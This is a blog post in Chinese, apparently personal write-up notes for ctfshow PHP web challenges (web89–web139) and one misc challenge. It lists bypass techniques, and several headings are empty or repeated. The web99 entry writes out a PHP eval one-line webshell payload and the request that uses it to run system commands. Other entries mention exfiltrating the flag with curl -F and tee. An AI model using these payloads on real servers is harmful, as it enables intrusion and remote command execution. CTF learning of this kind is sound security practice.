type
status
date
slug
summary
tags
category
icon
password
web89
web90
web91
web92
相关知识:强比较“===”/弱比较“==“
web93
web94
web95
web96
web97
web98
如果使用GET方式传参,GET传参会被赋值为POST传参的,又要求$_GET['HTTP_FLAG']=='flag’,所以只要同时使用GET,POST传参HTTP_FLAG=flag即可
相关知识:PHP中的三元运算符
web99
file_put_contents() 函数:写入文件
当n在随机数中,可以向以n命名的文件写入
?n=1.php
content=<?php @eval($_POST['1']);?> #向1.php写入一句话木马
访问1.php 1=system('ls'); 然后cat
web100
web101+103
flag少一位一个个试
web102
file_put_contents($v3, $str);
的作用就是把变量
$str中的内容写入到由
$v3指定的文件中,默认会覆盖原有内容,并返回写入的字节数或在失败时返回
FALSE$v2要为纯数字,最终会写入$v3作用后的$v2第三位起的字符,
web104+106
web105
web107
web108
web109
看到eval("echo new $v1($v2());");想起web101的反射类
web110
web111
web112+114
web113
web115
用脚本跑
web123
只要保证有参数CTF_SHOW.COM,CTF_SHOW存在,fl0g不能直接用,所以利用eval("$c".";");
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,因此直接使用CTF_SHOW.COM会被转义为CTF_SHOW_COM,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
web125
web126
web127
web128
gettext():_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
web129
web130
web131
利用溢出绕过preg_match
web132
web133
利用curl -F带出flag.php
web134
web135
web136
利用tee命令
web137
直接调用类,然后查看源码
web138
web139
web137
web137
web137
web137
web137
web137
web137
free time
ctfshow misc
misc30
解压要密码,放010看看,发现是伪加密,修改解压后得到MP3文件,foremost分离出一张jpg图片,发现高度似乎不对,宽高处理后发现猪圈密码,解密得到flag
- 作者:sanye
- 链接:https://sanye.me/article/17c233a6-c40b-800e-8e50-c6f3ea4eaa36
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。